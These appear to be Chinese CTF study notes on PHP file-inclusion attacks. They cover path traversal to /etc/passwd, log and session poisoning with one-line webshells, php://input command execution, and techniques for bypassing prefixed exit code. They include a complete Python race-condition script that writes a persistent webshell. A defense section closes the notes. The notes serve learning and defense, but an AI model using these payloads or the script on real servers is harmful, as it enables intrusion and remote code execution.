文件包含
思路
- 看服务器类型
- 测试是否能够直接读取
- 根据过滤找出可用的伪协议
- 观察代码,寻找可利用的函数
- 伪协议不可用尝试使用日志包含
- 过滤后缀尝试使用session文件包含
相关函数
include()
:包含一个文件,如错误则抛出警告
include_once()
:包含一个文件仅一次,和上面类似
require()
:包含一个文件,如错误则报错并停止脚本
require_once()
:包含一个文件仅一次,和上面类似
注:任何类型的文件,只要其中含有合法PHP代码,PHP就可以包含并执行;如果没有,就会以纯文本形式显示文件中的内容
直接读取
测试直接读取有无回显
/etc/passwd
是系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作
/var/www/html+文件名
或者利用../
相对路径进行目录穿越读取特定文件
php伪协议
有时候包含的文件直接读取会产生报错,就需要采用伪协议进行内容读取
Apache日志文件
access.log
记录网站的访问信息,包括user-agent头的信息,
客户端IP - - [访问时间] "请求记录" HTTP状态码 字节数
error.log
记录错误的访问信息
注:每次的日志会记录,所以,上传命令之后,如果产生报错或者不执行的情况必须重启容器。 再就是可能会有人问为什么发送第二次包的时候才会出现flag。这是因为发送第一个包的时候,将一句话木马写入access.log日志,第二次发包才包含到前一次的日志中的木马。
nginx日志文件
位置:/var/log/nginx/access.log
格式为
log_format access '$remote_addr – $remote_user [$time_local] "$request"' '$status $body_bytes_sent "$http_referer"' '"$http_user_agent" $http_x_forwarded_for';
本地文件包含漏洞(LFI)
<?php
include($_GET["a"]);
日志文件包含
原理:对网站进行访问时,日志文件会记录相关信息(请求头中的信息),而且一旦写入php一句话木马就可以被包含执行
前提:知道日志文件所在,并能进行包含
ctfshow web150
使用BurpSuite发送请求,在UA头写入一句话木马
然后就可以include到当前php文件中,实现命令执行,把PHP一句话写进access.log里
../
返回上级目录,可以读取上级目录的access.log文件
注:如果不知道日志文件的地址,可以把参数设置成一个不存在的文件名,比如
?jumpTo=114514
,这样网页会报错显示网站的绝对路径 (如果没有屏蔽报错),使用了各种面板的会显示面板的错误信息,可以以此来判断日志路径。
%00截断攻击
PHP < 5.3.4
场景:对传入的参数使用字符串拼接
<?php
include($_GET['a']."txt")
- 在ASCII字符集中,
%00
代表的是字符串的结束,也就是说,如果在一串字符的中间插入%00
,那么后面的字符串会被丢弃。如果把参数值改为shell.jpg%00
,那么之后拼接的字符串将被include
方法所丢弃。这样就能成功访问一句话木马。
远程文件包含漏洞(RFI)
本质是使用PHP伪协议进行包含
题目的代码类似于
<?php
$filename = $_GET['page'];
include($filename);
?>
由此可以远程包含自己服务器上的一句话木马并执行
无限制:参数之后加上危险脚本的URL,一般把如一句话木马的php脚本放在自己的vps上进行远程包含
有限制时截断:
- 使用
?
绕过,问号之后的字符串会被当做查询参数丢弃 - 使用
%20
绕过
- 使用
伪协议php://input控制输出流:(BurpSuite)
GET /file_include/index.php?jumpTo=php://input HTTP/1.1 Host: 127.0.0.1 ...... Sec-Fetch-User: ?1 <?php system("ipconfig/all"); ?>
此时把显示主机IP地址信息的命令“输入”到了PHP中
Session文件包含
php中唯一能无后缀控制,通过向session传入恶意代码并访问其文件实现
session工作流程
Session
一般称为“会话控制“,简单来说就是是一种客户与网站/服务器更为安全的对话方式。一旦开启了session
会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种“对话”机制
- 首先使用
session_start()
函数进行初始化 - 当执行PHP脚本时,通过使用SESSION超全局变量注册session变量即
$_SESSION
- 当PHP脚本执行结束时,未被销毁的session变量会被自动保存在本地一定路径下的session库中,这个路径可以通过php.ini文件中的
session.savepath
指定,下次浏览网页时可以加载使用
session_start()
(1)读取名为PHPSESSID(如果没有改变默认值)的cookie值,假使为abc123。
(2)若读取到PHPSESSID这个COOKIE,创建SESSION变量,并从相应的目录中(可以在php.ini中设置)读取
SESSabc123
(默认是这种命名方式)文件,将字符装入SESSION变量中;(3)若没有读取到PHPSESSID这个COOKIE,也会创建SESSION超全局变量注册session变量。同时创建一个 sess_abc123 (名称为随机值)的session文件,同时将abc123作为PHPSESSID的cookie值返回给浏览器端。
利用
$_SESSION["username"]=参数
当Session文件的内容可控,并且可以获取Session文件的路径,就可以通过包含Session文件进行攻击
Session的存储位置获取:
- 通过phpinfo的信息可以获取到Session的存储位置。phpinfo中的session.save_path存储的是Session的存放位置
- 通过猜测默认的Session存放位置进行尝试。通常Linux下Session默认存储在
/var/lib/php/session
目录下
session.upload_progress
条件:Session Support: enable
当我们将
session.upload_progress.enabled
的值设置为on时,此时我们再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储在session当中。
session.auto_start:如果
session.auto_start=On
,则PHP在接收请求的时候会自动初始化 Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,
session.use_strict_mode
默认值为 off。此时用户是可以自己定义 Session ID 的。比如,我们在 Cookie 里设置 PHPSESSID=a ,PHP 将会在服务器上创建一个文件:
/tmp/sess_a
。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值由ini.get(“session.upload_progress.prefix”)+由我们构造的 session.upload_progress.name
值组成,最后被写入 sess_ 文件里。session.save_path:负责 session 文件的存放位置,后面文件包含的时候需要知道恶意文件的位置,如果没有配置则不会生成session文件
session.upload_progress_enabled:当这个配置为 On 时,代表 session.upload_progress 功能开启,如果这个选项关闭,则这个方法用不了
session.upload_progress_cleanup:这个选项默认也是 On,也就是说当文件上传结束时,session 文件中有关上传进度的信息立马就会被删除掉;这里就给我们的操作造成了很大的困难,我们就只能使用条件竞争的方式不停的发包,争取在它被删除掉之前就成功利用
session.upload_progress_name:session中的键值,当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控
session.upload_progress_prefix:可以设置上传文件内容的前缀,与session.upload_progress_name 将表示为 session 中的键名
session条件竞争
by ph0ebus
目标环境开启了
session.upload_progress.enable
选项发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段
请求的Cookie中包含Session ID
注意的是,如果我们只上传一个文件,这里也是不会遗留下Session文件的,所以表单里必须有两个以上的文件上传。
exp:
import requests
import io
import threading
url = 'http://6f7113f0-473f-406d-90a6-0cdbbdfacb48.challenge.ctf.show/' # 改成自己的url
sessionid = 'truthahn' # 设置PHPSESSID为truthahn,使生成的临时文件名为sess_truthahn
cookies = {
'PHPSESSID':sessionid
}
def write(session): # write()函数用于写入session临时文件
fileBytes = io.BytesIO(b'a'*1024*50) # 设置上传文件的大小为50k
data2 = {
'PHP_SESSION_UPLOAD_PROGRESS':'<?=eval($_POST[1])?>' # 设置sess_truthahn临时文件的内容为<?=eval($_POST[1])?> 实现一句话
}
files = {
'file':('truthahn.jpg',fileBytes)
}
while True:
res = session.post(url,data=data2,cookies=cookies,files=files)
# print(res.text)
#print('======= write done! ======')
def read(session): # read()函数利用session临时文件生成一句话木马,实现rce
data1 = {
"1":"file_put_contents('/var/www/html/3.php','<?=eval($_POST[2]);?>');" # 使用file_put_contents()php内置函数生成名为3.php的shell文件
}
while True:
res = session.post(url+'?file=/tmp/sess_'+sessionid,data=data1,cookies=cookies)
# print(res.text)
res2 = session.get(url+'3.php')
# print(res2.text)
if res2.status_code == 200: #若3.php成功生成,则返回Done!,否则返回失败的状态码
print('++++++++ Done! +++++++++')
else:
print(res2.status_code)
if __name__ == '__main__':
event = threading.Event()
with requests.session() as session: # 为每个函数设置5个线程并发执行
for i in range(5):
#print('*'*50)
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
#print('='*50)
threading.Thread(target=read,args=(session,)).start()
event.set()
绕过死亡代码
原型
1. file_put_contents($filename,"<?php exit();".$content);
2. file_put_contents($content,"<?php exit();".$content);
3. file_put_contents($filename,$content . "\nxxxxxx");
base64编码绕过
利用base64解码,将死亡代码解码成乱码,使得php引擎无法识别
$filename='php://filter/write=convert.base64-decode/resource=1.php'; $content = 'aPD9waHAgcGhwaW5mbygpOz8+'; $content加了一个a,是因为base64在解码的时候是将4个字节转化为3个字节,又因为死亡代码只有phpexit/phpdie参与了解码,所以补上一位就可以完全转化
rot13编码绕过
原理和base64一样,可以直接转码分解死亡代码
注:因为我们生成的文件内容之中前面的
<?
并没有分解掉,这时,如果服务器开启了短标签,那么就会被解析,所以所以后面的代码就会错误;也就失去了作用.htaccess的预包含利用
利用 .htaccess的预包含文件的功能来进行攻破;自定义包含我们的flag文件
$filename=php://filter/write=string.strip_tags/resource=.htaccess $content=?>php_value%20auto_prepend_file%20G:\s1mple.php 首先来解释$filename的代码,这里引用了string.strip_tags过滤器,可以过滤.htaccess内容的html标签,自然也就消除了死亡代码;$content即闭合死亡代码使其完全消除,并且写入自定义包含文件
但是这种方法也是具有一定的局限性,首先我们需要知道flag文件的位置,和文件的名字,一般的比赛中可以盲猜 flag.php flag /flag /flag.php 等等;另外还有个很大的问题是,string.strip_tags过滤器只是可以在php5的环境下顺利的使用,如果题目环境是在php7.3.0以上的环境下,则会发生段错误。导致写不进去;根本来说是php7.3.0中废弃了string.strip_tags这个过滤器
防御
调整php.ini中的不合理配置
- magic_quotes_gpc=On,将参数中的异常字符进行转义。
- allow_url_include=Off,禁止将URL作为文件打开处理。
- allow_url_fopen=Off,禁止
include()
和require()
打开URL作为文件处理
过滤异常字符
检查参数,如果参数中含有
%
,#
,;
等不需要的字符,将其去掉或者拒绝请求写死包含的路径或文件名
<?php header("Content-type:text/html;charset=utf-8"); error_reporting(E_ERROR); ini_set("display_errors","Off"); $link=$_GET['jumpTo']; if (isset($link)) { switch ($link) { case 'job': include('./jobs.php'); break; case 'hobby': include('./hobby.php'); break; default: die("风雪的缩影,如琉璃般飘落......"); break; } } else { // Do nothing. } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>王小美の主页</title> </head> <body> <h1 style="text-align: center;">个人主页</h1> <br> <img src="./img/ganyu.png"> <br> <p>Name: 甘雨</p><br> <p>Age: 3000+</p><br> <p>我是女生</p><br> <a href="./index.php?jumpTo=job">我的工作</a> <a href="./index.php?jumpTo=hobby">我的兴趣爱好</a> </body> </html>